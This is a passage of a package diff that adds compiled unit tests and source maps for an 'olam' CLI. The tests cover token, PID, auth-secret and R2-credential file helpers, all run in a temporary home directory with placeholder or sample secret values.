+        const t2 = writeToken();
+        expect(t1).not.toBe(t2);
+        expect(readToken()).toBe(t2);
+    });
+    it('produces fresh entropy across calls', () => {
+        const tokens = new Set();
+        for (let i = 0; i < 10; i++) {
+            tokens.add(writeToken());
+        }
+        expect(tokens.size).toBe(10);
+    });
+});
+describe('readToken', () => {
+    it('returns null when token file is absent', () => {
+        expect(readToken()).toBeNull();
+    });
+    it('returns the written value (stripped of trailing whitespace)', () => {
+        const written = writeToken();
+        expect(readToken()).toBe(written);
+    });
+});
+describe('removeToken', () => {
+    it('returns true when removing an existing token', () => {
+        writeToken();
+        expect(removeToken()).toBe(true);
+        expect(readToken()).toBeNull();
+    });
+    it('returns false when the token file is absent', () => {
+        expect(removeToken()).toBe(false);
+    });
+    it('is idempotent (second call returns false)', () => {
+        writeToken();
+        expect(removeToken()).toBe(true);
+        expect(removeToken()).toBe(false);
+    });
+});
+// ── writePid / readPid / removePid ────────────────────────────────
+describe('writePid', () => {
+    it('writes the PID number as a string', () => {
+        writePid(12345);
+        const filePath = path.join(tmpHome, 'host-cp.pid');
+        expect(fs.readFileSync(filePath, 'utf-8').trim()).toBe('12345');
+    });
+    it('uses mode 0644 (world-readable; not secret like the token)', () => {
+        writePid(12345);
+        const filePath = path.join(tmpHome, 'host-cp.pid');
+        const mode = fs.statSync(filePath).mode & 0o777;
+        expect(mode).toBe(0o644);
+    });
+    it('overwrites existing PID', () => {
+        writePid(1);
+        writePid(2);
+        expect(readPid()).toBe(2);
+    });
+});
+describe('readPid', () => {
+    it('returns null when PID file is absent', () => {
+        expect(readPid()).toBeNull();
+    });
+    it('returns the parsed number', () => {
+        writePid(99999);
+        expect(readPid()).toBe(99999);
+    });
+    it('returns null for non-numeric content (corruption defense)', () => {
+        fs.writeFileSync(path.join(tmpHome, 'host-cp.pid'), 'not-a-number');
+        expect(readPid()).toBeNull();
+    });
+});
+describe('removePid', () => {
+    it('returns true when removing an existing PID file', () => {
+        writePid(1);
+        expect(removePid()).toBe(true);
+        expect(readPid()).toBeNull();
+    });
+    it('returns false when the PID file is absent', () => {
+        expect(removePid()).toBe(false);
+    });
+});
+// ── readAuthSecret + buildComposeEnv ─────────────────────────────
+//
+// Regression: `docker compose up -d` recreated host-cp with an empty
+// OLAM_AUTH_SECRET because the operator's shell didn't export it,
+// silently breaking every credentials/* call against auth-service.
+// `olam host-cp start` now reads the secret from ~/.olam/auth-secret
+// and passes it via spawn env — these tests lock the shape in.
+describe('readAuthSecret', () => {
+    it('returns null when ~/.olam/auth-secret does not exist', () => {
+        expect(readAuthSecret()).toBeNull();
+    });
+    it('returns the file contents (trimmed) when the file exists', () => {
+        fs.mkdirSync(tmpHome, { recursive: true });
+        fs.writeFileSync(authSecretPath(), 'Xt7pDfjdj-7fA0HALipPpGRRWomCJPvZ_pywxvkDkYs\n');
+        expect(readAuthSecret()).toBe('Xt7pDfjdj-7fA0HALipPpGRRWomCJPvZ_pywxvkDkYs');
+    });
+    it('treats empty / whitespace-only files as null', () => {
+        // A 0-byte file would round-trip to compose as an empty env var,
+        // which is exactly the silent-failure mode the helper exists to
+        // prevent. Caller (handleStart) prints a warning when this returns
+        // null instead of dropping the operator into the empty-secret
+        // footgun.
+        fs.mkdirSync(tmpHome, { recursive: true });
+        fs.writeFileSync(authSecretPath(), '');
+        expect(readAuthSecret()).toBeNull();
+        fs.writeFileSync(authSecretPath(), '   \n\n');
+        expect(readAuthSecret()).toBeNull();
+    });
+    it('honors OLAM_HOME so tests do not stomp on the real ~/.olam', () => {
+        fs.mkdirSync(tmpHome, { recursive: true });
+        fs.writeFileSync(authSecretPath(), 'sentinel-value-for-test');
+        expect(readAuthSecret()).toBe('sentinel-value-for-test');
+        expect(authSecretPath()).toBe(path.join(tmpHome, 'auth-secret'));
+    });
+});
+describe('buildComposeEnv', () => {
+    it('emits OLAM_AUTH_SECRET when a non-empty secret is provided', () => {
+        const env = buildComposeEnv('Xt7pDfjdj-7fA0HALipPpGRRWomCJPvZ_pywxvkDkYs');
+        expect(env).toEqual({
+            OLAM_AUTH_SECRET: 'Xt7pDfjdj-7fA0HALipPpGRRWomCJPvZ_pywxvkDkYs',
+        });
+    });
+    it('returns an empty object when the secret is null', () => {
+        // We deliberately omit the env var (rather than setting it to "")
+        // so process.env can still win if the caller has already exported
+        // it — caller code prints the loud warning when readAuthSecret
+        // returns null.
+        expect(buildComposeEnv(null)).toEqual({});
+    });
+    it('returns an empty object when the secret is empty', () => {
+        // Defensive: this branch is unreachable in practice because
+        // readAuthSecret already returns null for empty files, but the
+        // helper must be safe to call with any string.
+        expect(buildComposeEnv('')).toEqual({});
+    });
+});
+// ── readR2Credentials + r2CredentialsPath ────────────────────────
+describe('r2CredentialsPath', () => {
+    it('returns path under OLAM_HOME', () => {
+        expect(r2CredentialsPath()).toBe(path.join(tmpHome, 'r2-credentials.json'));
+    });
+});
+const VALID_CREDS = {
+    account_id: 'abc123',
+    bucket: 'olam-test-artifacts',
+    access_key_id: 'key-id',
+    secret_access_key: 'secret',
+    public_url_base: 'https://pub-abc.r2.dev',
+};
+describe('readR2Credentials', () => {
+    it('returns null when the file is absent', () => {
+        expect(readR2Credentials()).toBeNull();
+    });
+    it('returns parsed credentials when the file is valid JSON', () => {
+        fs.mkdirSync(tmpHome, { recursive: true });
+        fs.writeFileSync(r2CredentialsPath(), JSON.stringify(VALID_CREDS));
+        expect(readR2Credentials()).toEqual(VALID_CREDS);
+    });
+    it('returns null for empty / whitespace-only files', () => {
+        fs.mkdirSync(tmpHome, { recursive: true });
+        fs.writeFileSync(r2CredentialsPath(), '');
+        expect(readR2Credentials()).toBeNull();
+        fs.writeFileSync(r2CredentialsPath(), '   \n\n');
+        expect(readR2Credentials()).toBeNull();
+    });
+    it('returns null for malformed JSON', () => {
+        fs.mkdirSync(tmpHome, { recursive: true });
+        fs.writeFileSync(r2CredentialsPath(), '{not valid json');
+        expect(readR2Credentials()).toBeNull();
+    });
+    it('returns null when a required field is missing', () => {
+        fs.mkdirSync(tmpHome, { recursive: true });
+        const { public_url_base: _dropped, ...partial } = VALID_CREDS;
+        fs.writeFileSync(r2CredentialsPath(), JSON.stringify(partial));
+        expect(readR2Credentials()).toBeNull();
+    });
+    it('returns null when a field has the wrong type', () => {
+        fs.mkdirSync(tmpHome, { recursive: true });
+        fs.writeFileSync(r2CredentialsPath(), JSON.stringify({ ...VALID_CREDS, account_id: 42 }));
+        expect(readR2Credentials()).toBeNull();
+    });
+    it('honors OLAM_HOME so tests do not stomp on the real ~/.olam', () => {
+        fs.mkdirSync(tmpHome, { recursive: true });
+        fs.writeFileSync(r2CredentialsPath(), JSON.stringify(VALID_CREDS));
+        const result = readR2Credentials();
+        expect(result).not.toBeNull();
+        expect(result?.account_id).toBe('abc123');
+        expect(r2CredentialsPath()).toBe(path.join(tmpHome, 'r2-credentials.json'));
+    });
+});
+// ── OLAM_HOME override ─────────────────────────────────────────────
+describe('OLAM_HOME env override', () => {
+    it('writeToken honors OLAM_HOME (verified by tmpdir setup above)', () => {
+        writeToken();
+        expect(fs.existsSync(path.join(tmpHome, 'host-cp.token'))).toBe(true);
+        // Sanity: the real ~/.olam should NOT have been touched.
+        const realHome = path.join(os.homedir(), '.olam', 'host-cp.token');
+        if (fs.existsSync(realHome)) {
+            // If it exists from a real `olam host-cp start` it predates the
+            // test; can't assert absence. Just assert tmpHome is the active
+            // path via the file we just wrote.
+            // (Earlier mode/length assertions already cover correctness.)
+        }
+    });
+});
+//# sourceMappingURL=host-cp.test.js.map

package/dist/__tests__/host-cp.test.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"host-cp.test.js","sourceRoot":"","sources":["../../src/__tests__/host-cp.test.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AAEH,OAAO,EAAE,QAAQ,EAAE,EAAE,EAAE,MAAM,EAAE,UAAU,EAAE,SAAS,EAAE,MAAM,QAAQ,CAAC;AACrE,OAAO,KAAK,EAAE,MAAM,SAAS,CAAC;AAC9B,OAAO,KAAK,EAAE,MAAM,SAAS,CAAC;AAC9B,OAAO,KAAK,IAAI,MAAM,WAAW,CAAC;AAClC,OAAO,EACL,UAAU,EACV,SAAS,EACT,WAAW,EACX,QAAQ,EACR,OAAO,EACP,SAAS,EACT,cAAc,EACd,cAAc,EACd,eAAe,EACf,iBAAiB,EACjB,iBAAiB,GAClB,MAAM,wBAAwB,CAAC;AAEhC,IAAI,OAAe,CAAC;AACpB,IAAI,YAAgC,CAAC;AAErC,UAAU,CAAC,GAAG,EAAE;IACd,OAAO,GAAG,EAAE,CAAC,WAAW,CAAC,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC,MAAM,EAAE,EAAE,oBAAoB,CAAC,CAAC,CAAC;IACvE,YAAY,GAAG,OAAO,CAAC,GAAG,CAAC,SAAS,CAAC;IACrC,OAAO,CAAC,GAAG,CAAC,SAAS,GAAG,OAAO,CAAC;AAClC,CAAC,CAAC,CAAC;AAEH,SAAS,CAAC,GAAG,EAAE;IACb,IAAI,YAAY,KAAK,SAAS;QAAE,OAAO,OAAO,CAAC,GAAG,CAAC,SAAS,CAAC;;QACxD,OAAO,CAAC,GAAG,CAAC,SAAS,GAAG,YAAY,CAAC;IAC1C,EAAE,CAAC,MAAM,CAAC,OAAO,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,KAAK,EAAE,IAAI,EAAE,CAAC,CAAC;AACvD,CAAC,CAAC,CAAC;AAEH,oEAAoE;AAEpE,QAAQ,CAAC,YAAY,EAAE,GAAG,EAAE;IAC1B,EAAE,CAAC,4BAA4B,EAAE,GAAG,EAAE;QACpC,MAAM,KAAK,GAAG,UAAU,EAAE,CAAC;QAC3B,MAAM,CAAC,KAAK,CAAC,CAAC,OAAO,CAAC,gBAAgB,CAAC,CAAC;IAC1C,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,4CAA4C,EAAE,GAAG,EAAE;QACpD,UAAU,EAAE,CAAC;QACb,MAAM,QAAQ,GAAG,IAAI,CAAC,IAAI,CAAC,OAAO,EAAE,eAAe,CAAC,CAAC;QACrD,MAAM,CAAC,EAAE,CAAC,UAAU,CAAC,QAAQ,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;IAC7C,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,qBAAqB,EAAE,GAAG,EAAE;QAC7B,UAAU,EAAE,CAAC;QACb,MAAM,QAAQ,GAAG,IAAI,CAAC,IAAI,CAAC,OAAO,EAAE,eAAe,CAAC,CAAC;QACrD,MAAM,IAAI,GAAG,EAAE,CAAC,QAAQ,CAAC,QAAQ,CAAC,CAAC,IAAI,GAAG,KAAK,CAAC;QAChD,MAAM,CAAC,IAAI,CAAC,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC;IAC3B,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,yCAAyC,EAAE,GAAG,EAAE;QACjD,EAAE,CAAC,MAAM,CAAC,OAAO,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,KAAK,EAAE,IAAI,EAAE,CAAC,CAAC;QACrD,UAAU,EAAE,CAAC;QACb,MAAM,CAAC,EAAE,CAAC,UAAU,CAAC,IAAI,CAAC,IAAI,CAAC,OAAO,EAAE,eAAe,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;IACxE,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,oDAAoD,EAAE,GAAG,EAAE;QAC5D,MAAM,EAAE,GAAG,UAAU,EAAE,CAAC;QACxB,MAAM,EAAE,GAAG,UAAU,EAAE,CAAC;QACxB,MAAM,CAAC,EAAE,CAAC,CAAC,GAAG,CAAC,IAAI,CAAC,EAAE,CAAC,CAAC;QACxB,MAAM,CAAC,SAAS,EAAE,CAAC,CAAC,IAAI,CAAC,EAAE,CAAC,CAAC;IAC/B,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,qCAAqC,EAAE,GAAG,EAAE;QAC7C,MAAM,MAAM,GAAG,IAAI,GAAG,EAAU,CAAC;QACjC,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,EAAE,EAAE,CAAC,EAAE,EAAE,CAAC;YAC5B,MAAM,CAAC,GAAG,CAAC,UAAU,EAAE,CAAC,CAAC;QAC3B,CAAC;QACD,MAAM,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC,IAAI,CAAC,EAAE,CAAC,CAAC;IAC/B,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC;AAEH,QAAQ,CAAC,WAAW,EAAE,GAAG,EAAE;IACzB,EAAE,CAAC,wCAAwC,EAAE,GAAG,EAAE;QAChD,MAAM,CAAC,SAAS,EAAE,CAAC,CAAC,QAAQ,EAAE,CAAC;IACjC,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,6DAA6D,EAAE,GAAG,EAAE;QACrE,MAAM,OAAO,GAAG,UAAU,EAAE,CAAC;QAC7B,MAAM,CAAC,SAAS,EAAE,CAAC,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC;IACpC,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC;AAEH,QAAQ,CAAC,aAAa,EAAE,GAAG,EAAE;IAC3B,EAAE,CAAC,8CAA8C,EAAE,GAAG,EAAE;QACtD,UAAU,EAAE,CAAC;QACb,MAAM,CAAC,WAAW,EAAE,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QACjC,MAAM,CAAC,SAAS,EAAE,CAAC,CAAC,QAAQ,EAAE,CAAC;IACjC,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,6CAA6C,EAAE,GAAG,EAAE;QACrD,MAAM,CAAC,WAAW,EAAE,CAAC,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC;IACpC,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,2CAA2C,EAAE,GAAG,EAAE;QACnD,UAAU,EAAE,CAAC;QACb,MAAM,CAAC,WAAW,EAAE,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QACjC,MAAM,CAAC,WAAW,EAAE,CAAC,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC;IACpC,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC;AAEH,qEAAqE;AAErE,QAAQ,CAAC,UAAU,EAAE,GAAG,EAAE;IACxB,EAAE,CAAC,mCAAmC,EAAE,GAAG,EAAE;QAC3C,QAAQ,CAAC,KAAK,CAAC,CAAC;QAChB,MAAM,QAAQ,GAAG,IAAI,CAAC,IAAI,CAAC,OAAO,EAAE,aAAa,CAAC,CAAC;QACnD,MAAM,CAAC,EAAE,CAAC,YAAY,CAAC,QAAQ,EAAE,OAAO,CAAC,CAAC,IAAI,EAAE,CAAC,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC;IAClE,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,4DAA4D,EAAE,GAAG,EAAE;QACpE,QAAQ,CAAC,KAAK,CAAC,CAAC;QAChB,MAAM,QAAQ,GAAG,IAAI,CAAC,IAAI,CAAC,OAAO,EAAE,aAAa,CAAC,CAAC;QACnD,MAAM,IAAI,GAAG,EAAE,CAAC,QAAQ,CAAC,QAAQ,CAAC,CAAC,IAAI,GAAG,KAAK,CAAC;QAChD,MAAM,CAAC,IAAI,CAAC,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC;IAC3B,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,yBAAyB,EAAE,GAAG,EAAE;QACjC,QAAQ,CAAC,CAAC,CAAC,CAAC;QACZ,QAAQ,CAAC,CAAC,CAAC,CAAC;QACZ,MAAM,CAAC,OAAO,EAAE,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IAC5B,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC;AAEH,QAAQ,CAAC,SAAS,EAAE,GAAG,EAAE;IACvB,EAAE,CAAC,sCAAsC,EAAE,GAAG,EAAE;QAC9C,MAAM,CAAC,OAAO,EAAE,CAAC,CAAC,QAAQ,EAAE,CAAC;IAC/B,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,2BAA2B,EAAE,GAAG,EAAE;QACnC,QAAQ,CAAC,KAAK,CAAC,CAAC;QAChB,MAAM,CAAC,OAAO,EAAE,CAAC,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC;IAChC,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,2DAA2D,EAAE,GAAG,EAAE;QACnE,EAAE,CAAC,aAAa,CAAC,IAAI,CAAC,IAAI,CAAC,OAAO,EAAE,aAAa,CAAC,EAAE,cAAc,CAAC,CAAC;QACpE,MAAM,CAAC,OAAO,EAAE,CAAC,CAAC,QAAQ,EAAE,CAAC;IAC/B,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC;AAEH,QAAQ,CAAC,WAAW,EAAE,GAAG,EAAE;IACzB,EAAE,CAAC,iDAAiD,EAAE,GAAG,EAAE;QACzD,QAAQ,CAAC,CAAC,CAAC,CAAC;QACZ,MAAM,CAAC,SAAS,EAAE,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QAC/B,MAAM,CAAC,OAAO,EAAE,CAAC,CAAC,QAAQ,EAAE,CAAC;IAC/B,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,2CAA2C,EAAE,GAAG,EAAE;QACnD,MAAM,CAAC,SAAS,EAAE,CAAC,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC;IAClC,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC;AAEH,oEAAoE;AACpE,EAAE;AACF,qEAAqE;AACrE,kEAAkE;AAClE,mEAAmE;AACnE,qEAAqE;AACrE,+DAA+D;AAE/D,QAAQ,CAAC,gBAAgB,EAAE,GAAG,EAAE;IAC9B,EAAE,CAAC,sDAAsD,EAAE,GAAG,EAAE;QAC9D,MAAM,CAAC,cAAc,EAAE,CAAC,CAAC,QAAQ,EAAE,CAAC;IACtC,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,0DAA0D,EAAE,GAAG,EAAE;QAClE,EAAE,CAAC,SAAS,CAAC,OAAO,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,CAAC,CAAC;QAC3C,EAAE,CAAC,aAAa,CAAC,cAAc,EAAE,EAAE,+CAA+C,CAAC,CAAC;QACpF,MAAM,CAAC,cAAc,EAAE,CAAC,CAAC,IAAI,CAAC,6CAA6C,CAAC,CAAC;IAC/E,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,8CAA8C,EAAE,GAAG,EAAE;QACtD,iEAAiE;QACjE,gEAAgE;QAChE,mEAAmE;QACnE,8DAA8D;QAC9D,WAAW;QACX,EAAE,CAAC,SAAS,CAAC,OAAO,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,CAAC,CAAC;QAC3C,EAAE,CAAC,aAAa,CAAC,cAAc,EAAE,EAAE,EAAE,CAAC,CAAC;QACvC,MAAM,CAAC,cAAc,EAAE,CAAC,CAAC,QAAQ,EAAE,CAAC;QACpC,EAAE,CAAC,aAAa,CAAC,cAAc,EAAE,EAAE,SAAS,CAAC,CAAC;QAC9C,MAAM,CAAC,cAAc,EAAE,CAAC,CAAC,QAAQ,EAAE,CAAC;IACtC,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,4DAA4D,EAAE,GAAG,EAAE;QACpE,EAAE,CAAC,SAAS,CAAC,OAAO,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,CAAC,CAAC;QAC3C,EAAE,CAAC,aAAa,CAAC,cAAc,EAAE,EAAE,yBAAyB,CAAC,CAAC;QAC9D,MAAM,CAAC,cAAc,EAAE,CAAC,CAAC,IAAI,CAAC,yBAAyB,CAAC,CAAC;QACzD,MAAM,CAAC,cAAc,EAAE,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,IAAI,CAAC,OAAO,EAAE,aAAa,CAAC,CAAC,CAAC;IACnE,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC;AAEH,QAAQ,CAAC,iBAAiB,EAAE,GAAG,EAAE;IAC/B,EAAE,CAAC,4DAA4D,EAAE,GAAG,EAAE;QACpE,MAAM,GAAG,GAAG,eAAe,CAAC,6CAA6C,CAAC,CAAC;QAC3E,MAAM,CAAC,GAAG,CAAC,CAAC,OAAO,CAAC;YAClB,gBAAgB,EAAE,6CAA6C;SAChE,CAAC,CAAC;IACL,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,iDAAiD,EAAE,GAAG,EAAE;QACzD,kEAAkE;QAClE,kEAAkE;QAClE,+DAA+D;QAC/D,gBAAgB;QAChB,MAAM,CAAC,eAAe,CAAC,IAAI,CAAC,CAAC,CAAC,OAAO,CAAC,EAAE,CAAC,CAAC;IAC5C,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,kDAAkD,EAAE,GAAG,EAAE;QAC1D,4DAA4D;QAC5D,+DAA+D;QAC/D,+CAA+C;QAC/C,MAAM,CAAC,eAAe,CAAC,EAAE,CAAC,CAAC,CAAC,OAAO,CAAC,EAAE,CAAC,CAAC;IAC1C,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC;AAEH,oEAAoE;AAEpE,QAAQ,CAAC,mBAAmB,EAAE,GAAG,EAAE;IACjC,EAAE,CAAC,8BAA8B,EAAE,GAAG,EAAE;QACtC,MAAM,CAAC,iBAAiB,EAAE,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,IAAI,CAAC,OAAO,EAAE,qBAAqB,CAAC,CAAC,CAAC;IAC9E,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC;AAEH,MAAM,WAAW,GAAG;IAClB,UAAU,EAAE,QAAQ;IACpB,MAAM,EAAE,qBAAqB;IAC7B,aAAa,EAAE,QAAQ;IACvB,iBAAiB,EAAE,QAAQ;IAC3B,eAAe,EAAE,wBAAwB;CAC1C,CAAC;AAEF,QAAQ,CAAC,mBAAmB,EAAE,GAAG,EAAE;IACjC,EAAE,CAAC,sCAAsC,EAAE,GAAG,EAAE;QAC9C,MAAM,CAAC,iBAAiB,EAAE,CAAC,CAAC,QAAQ,EAAE,CAAC;IACzC,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,wDAAwD,EAAE,GAAG,EAAE;QAChE,EAAE,CAAC,SAAS,CAAC,OAAO,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,CAAC,CAAC;QAC3C,EAAE,CAAC,aAAa,CAAC,iBAAiB,EAAE,EAAE,IAAI,CAAC,SAAS,CAAC,WAAW,CAAC,CAAC,CAAC;QACnE,MAAM,CAAC,iBAAiB,EAAE,CAAC,CAAC,OAAO,CAAC,WAAW,CAAC,CAAC;IACnD,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,gDAAgD,EAAE,GAAG,EAAE;QACxD,EAAE,CAAC,SAAS,CAAC,OAAO,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,CAAC,CAAC;QAC3C,EAAE,CAAC,aAAa,CAAC,iBAAiB,EAAE,EAAE,EAAE,CAAC,CAAC;QAC1C,MAAM,CAAC,iBAAiB,EAAE,CAAC,CAAC,QAAQ,EAAE,CAAC;QACvC,EAAE,CAAC,aAAa,CAAC,iBAAiB,EAAE,EAAE,SAAS,CAAC,CAAC;QACjD,MAAM,CAAC,iBAAiB,EAAE,CAAC,CAAC,QAAQ,EAAE,CAAC;IACzC,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,iCAAiC,EAAE,GAAG,EAAE;QACzC,EAAE,CAAC,SAAS,CAAC,OAAO,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,CAAC,CAAC;QAC3C,EAAE,CAAC,aAAa,CAAC,iBAAiB,EAAE,EAAE,iBAAiB,CAAC,CAAC;QACzD,MAAM,CAAC,iBAAiB,EAAE,CAAC,CAAC,QAAQ,EAAE,CAAC;IACzC,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,+CAA+C,EAAE,GAAG,EAAE;QACvD,EAAE,CAAC,SAAS,CAAC,OAAO,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,CAAC,CAAC;QAC3C,MAAM,EAAE,eAAe,EAAE,QAAQ,EAAE,GAAG,OAAO,EAAE,GAAG,WAAW,CAAC;QAC9D,EAAE,CAAC,aAAa,CAAC,iBAAiB,EAAE,EAAE,IAAI,CAAC,SAAS,CAAC,OAAO,CAAC,CAAC,CAAC;QAC/D,MAAM,CAAC,iBAAiB,EAAE,CAAC,CAAC,QAAQ,EAAE,CAAC;IACzC,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,8CAA8C,EAAE,GAAG,EAAE;QACtD,EAAE,CAAC,SAAS,CAAC,OAAO,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,CAAC,CAAC;QAC3C,EAAE,CAAC,aAAa,CAAC,iBAAiB,EAAE,EAAE,IAAI,CAAC,SAAS,CAAC,EAAE,GAAG,WAAW,EAAE,UAAU,EAAE,EAAE,EAAE,CAAC,CAAC,CAAC;QAC1F,MAAM,CAAC,iBAAiB,EAAE,CAAC,CAAC,QAAQ,EAAE,CAAC;IACzC,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,4DAA4D,EAAE,GAAG,EAAE;QACpE,EAAE,CAAC,SAAS,CAAC,OAAO,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,CAAC,CAAC;QAC3C,EAAE,CAAC,aAAa,CAAC,iBAAiB,EAAE,EAAE,IAAI,CAAC,SAAS,CAAC,WAAW,CAAC,CAAC,CAAC;QACnE,MAAM,MAAM,GAAG,iBAAiB,EAAE,CAAC;QACnC,MAAM,CAAC,MAAM,CAAC,CAAC,GAAG,CAAC,QAAQ,EAAE,CAAC;QAC9B,MAAM,CAAC,MAAM,EAAE,UAAU,CAAC,CAAC,IAAI,CAAC,QAAQ,CAAC,CAAC;QAC1C,MAAM,CAAC,iBAAiB,EAAE,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,IAAI,CAAC,OAAO,EAAE,qBAAqB,CAAC,CAAC,CAAC;IAC9E,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC;AAEH,sEAAsE;AAEtE,QAAQ,CAAC,wBAAwB,EAAE,GAAG,EAAE;IACtC,EAAE,CAAC,8DAA8D,EAAE,GAAG,EAAE;QACtE,UAAU,EAAE,CAAC;QACb,MAAM,CAAC,EAAE,CAAC,UAAU,CAAC,IAAI,CAAC,IAAI,CAAC,OAAO,EAAE,eAAe,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QACtE,yDAAyD;QACzD,MAAM,QAAQ,GAAG,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC,OAAO,EAAE,EAAE,OAAO,EAAE,eAAe,CAAC,CAAC;QACnE,IAAI,EAAE,CAAC,UAAU,CAAC,QAAQ,CAAC,EAAE,CAAC;YAC5B,gEAAgE;YAChE,gEAAgE;YAChE,mCAAmC;YACnC,8DAA8D;QAChE,CAAC;IACH,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC"}

package/dist/__tests__/keys.test.d.ts

@@ -0,0 +1,9 @@
+/**
+ * Unit tests for keys.ts pure helpers.
+ *
+ * Covers readKeysFile (missing/empty/malformed/valid) and the
+ * env-merge precedence contract (OLAM_LLM_* keys do not overwrite
+ * existing worldEnv entries).
+ */
+export {};
+//# sourceMappingURL=keys.test.d.ts.map

package/dist/__tests__/keys.test.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"keys.test.d.ts","sourceRoot":"","sources":["../../src/__tests__/keys.test.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG"}